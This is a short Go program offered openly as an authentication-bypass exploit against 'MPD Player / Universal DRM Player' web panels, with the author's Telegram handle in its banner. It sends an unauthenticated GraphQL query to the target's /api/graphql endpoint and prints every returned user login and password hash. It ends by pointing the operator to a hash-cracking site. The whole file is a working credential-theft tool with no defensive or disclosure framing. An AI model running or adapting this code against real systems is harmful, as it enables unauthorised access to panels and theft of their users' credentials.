main.go

package main

import (
	"bytes"
	"encoding/json"
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
)

type Response struct {
	Data struct {
		Users []map[string]string `json:"users"`
	} `json:"data"`
}

func main() {
	fmt.Println("MPD Player v2 | v3 & Universal DRM Player")
	fmt.Println("Authentication Bypass - BUA")
	fmt.Println("telegram: https://t.me/r00tv - @bondbenz")

	host := flag.String("host", "", "Panel url for example http://192.168.1.24:8989")

	flag.Parse()

	if *host == "" {
		flag.PrintDefaults()
		fmt.Println("Please specify a host")
		os.Exit(1)
	}

	// Append endpoint
	api_endpoint := *host + "/api/graphql"

	// Constructing the payload
	payload := []byte(`{"query":"{users {login, pass}}"}`)

	req, err := http.NewRequest("POST", api_endpoint, bytes.NewBuffer(payload))

	if err != nil {
		fmt.Println("[!] Error accorded")
		panic(err)
	}

	req.Header.Set("Content-Type", "appliction/json")

	client := &http.Client{}
	resp, err := client.Do(req)

	if err != nil {
		fmt.Println("[!] Error connecting to the host")
		panic(err)
	}

	defer resp.Body.Close()

	// Read the response body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		os.Exit(1)
	}

	var response Response
	err = json.Unmarshal(body, &response)
	if err != nil {
		fmt.Println("[-] Exploit failed, it could be patched.", err)
		os.Exit(1)
	}

	fmt.Println("[+] Vulnerability found!")
	fmt.Printf("[+] Login Portal %s/ui#\n", *host)
	users := response.Data.Users

	for _, user := range users {
		login := user["login"]
		pass := user["pass"]
		fmt.Printf("Login: %s, Hashed Pass: %s\n", login, pass)
	}

	fmt.Println("Use hashes.com to dehash the password(s).")

}